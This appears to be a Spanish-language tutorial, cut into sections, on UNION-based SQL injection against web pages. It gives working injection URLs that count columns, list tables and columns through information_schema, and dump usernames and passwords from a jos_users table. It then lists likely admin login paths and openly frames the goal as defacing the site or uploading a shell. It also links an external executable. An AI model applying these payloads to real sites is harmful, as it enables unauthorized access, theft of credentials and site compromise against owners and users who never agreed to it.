Professional Documents
Culture Documents
|
| |
| 0x002. Buscando webs vulnerables |
| |
| 0x002.1. Como saber si es vulnerable? |
| |
| 0x003. Sacando el numero de campos |
| |
| 0x004. Sacando las tablas |
| |
| 0x005. Sacando las columnas |
| |
| 0x006. Consiguiendo los datos |
| |
| 0x007. Logueandonos |
| |
|
| |
0===============================================================================
====================================0
···························································································
···························································································
Pues hay varias formas para saber si nuestra web es vulnerable o no. La que yo u
so es la mas corta y simple. Voy a poner una
url de ejemplo, con la que trataremos todo el manual:
www.miweb.com/script.php?id=13
www.miweb.com/script.php?id='
···························································································
www.miweb.com/script.php?id=-1+union+all+select+0--
La inyeccion principal depende de cada uno, hay gente que en vez de poner -1+uni
on+all+select+0 pone -1+union+select o
-1 union select (con espacios), etc... pero yo pongo la que yo uso.
Os preguntareis que si dije -1+union+all+select+0 porque narices pongo -1+union+
all+select+0-- !
Pues porque una inyeccion siempre se debe de acabar con -- (repito que otra gent
e puede hacerlo con otros caracteres, pero yo
explico segun mi metodo =D ).
Y ahora que? Pues tendremos que ir añadiendo numeros hasta que el error SQL desapa
rezca, y ademas, en vez del error,
aparezcan una serie de numeros sueltos.
Cada numero es un campo. Supongamos que a mi me salieron 6 campos y me desaparec
io el error:
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,4,5,6--
···························································································
OK, si no entendisteis hasta aqui, leedlo otra vez. Si aun asi no entendeis, dej
ad el defacing.. xD
Bueno, ahora hay dos formas.
1- Adivinar el nombre de la tabla
2- Si no damos, buscarlo.
Una tabla, es lo que contiene los datos interesantes: usernames, passwords, mail
s, etc. Por suerte, cuando nos equivocamos
en una inyeccion siempre lo sabremos ya que vuelve el error.
Probemos adivinando, el nombre de la tabla sera algo como:
o==============o
| |
| usuarios |
| users |
...cosas de | username | este estilo...
| admin |
| login |
| ... |
| |
o==============o
Vamos probando con FROM:
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,4,5,6+from+users--
Pero a veces, puede ser una cosa muy enredada y varia dependiendo de la web. Si
no la damos adivinado, vamos de la siguiente
forma. Usaremos information_schema.tables . Esto contiene el nombre de todas las
tablas de la DB. A veces, esto no esta
disponible y tenemos que hacer una "Inyeccion SQL a ciegas", es decir, con el me
todo de adivinar (xD).
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,group_concat(table_name)
,5,6+from+information_schema.tables--
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,table_name,5,6+from+info
rmation_schema.tables--
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,table_name,5,6+from+info
rmation_schema.tables+limit+1,1--
Normalmente, hasta el numero 16 las tablas siempre son iguales, entonces podemos
saltar:
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,table_name,5,6+from+info
rmation_schema.tables+limit+17,1--
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,4,5,6+from+jos_users--
···························································································
Bien, ya tenemos la tabla. Ahora dentro de cada una, hay columnas. Nosotros busc
amos columnas como:
password, passwd, nick, user, nombre, name, username, admin, login, pass, clave,
etc.
Es decir, los datos de acceso a la Administracion.
Tambien hay los dos mismos metodos, a ciegas, probando.. o con information_schem
a.columns.
Podemos probar:
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,nombre,5,6+from+jos_user
s--
http://xassiz.mi-website.es/Conversor_Ascii.exe
...2,3,group_concat(column_name),5,6+from+information_schema.columns+where+table
_name=char(tabla_en_ascii)--
Si sabeis ingles es facil de entender xD
Entonces a mi me quedaria asi:
..3,group_concat(column_name),5,6+from+information_schema.columns+where+table_na
me=char(106,111,115,95,117,115,101,114,115)--
Y se supone que mostraria las columnas de la tabla. Ahora que ya sabemos las col
umnas y la tabla, solo tenemos que mostrar
los datos por pantalla.
···························································································
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,concat(user_name,0x3a3a,
password),5,6+from+jos_users--
Como vimos antes, group_concat sirve para unir grupos, pues concat sirve para un
ir simplemente. Unimos user_name con
password para mostrarlos juntos. Te preguntaras que es 0x3a3a, pues en hexadecim
al es :: (2 dos puntos) que utilizamos para
separar el usuario de la contraseña.
Tambien podriamos hacer primero:
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,user_name,5,6+from+jos_u
sers--
www.miweb.com/script.php?id=-1+union+all+select+0,1,2,3,password,5,6+from+jos_us
ers--
Para coger la contraseña, pero es mas comodo mostrar todo junto digo yo.. xD
Ahora solo tenemos que loguearnos y modificar a nuestro gusto, subir shell o lo
que queramos.
···························································································
7. Logueandonos
Pero donde nos logueamos? Pues en el panel de administracion. ¿Y donde esta? Pues
tambien depende de la pagina, puede
ser:
--------------------------------------------------------------------------------
------------------------------------
www.miweb.com/admin.php
www.miweb.com/administracion/
www.miweb.com/login.php
www.miweb.com/panel.php
--------------------------------------------------------------------------------
------------------------------------
···························································································